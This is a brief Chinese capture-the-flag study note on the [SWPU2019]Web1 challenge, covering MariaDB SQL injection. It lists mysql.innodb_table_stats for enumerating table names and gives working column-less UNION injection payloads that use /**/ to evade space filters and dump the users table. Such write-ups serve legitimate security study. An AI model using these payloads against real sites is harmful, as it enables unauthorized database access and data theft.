刷題記錄：[SWPU2019]Web1
題目復現鏈接：https://buuoj.cn/challenges
知識點
MariaDB的SQL注入
https://mariadb.com/kb/en/mysqlinnodb_table_stats/
mysql.innodb_table_stats用於報表名
select group_concat(table_name) from mysql.innodb_table_stats
將列轉換成行，無列名注入
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
select group_concat(b) from(select 1 as b,2,3,4 union select*from diner)x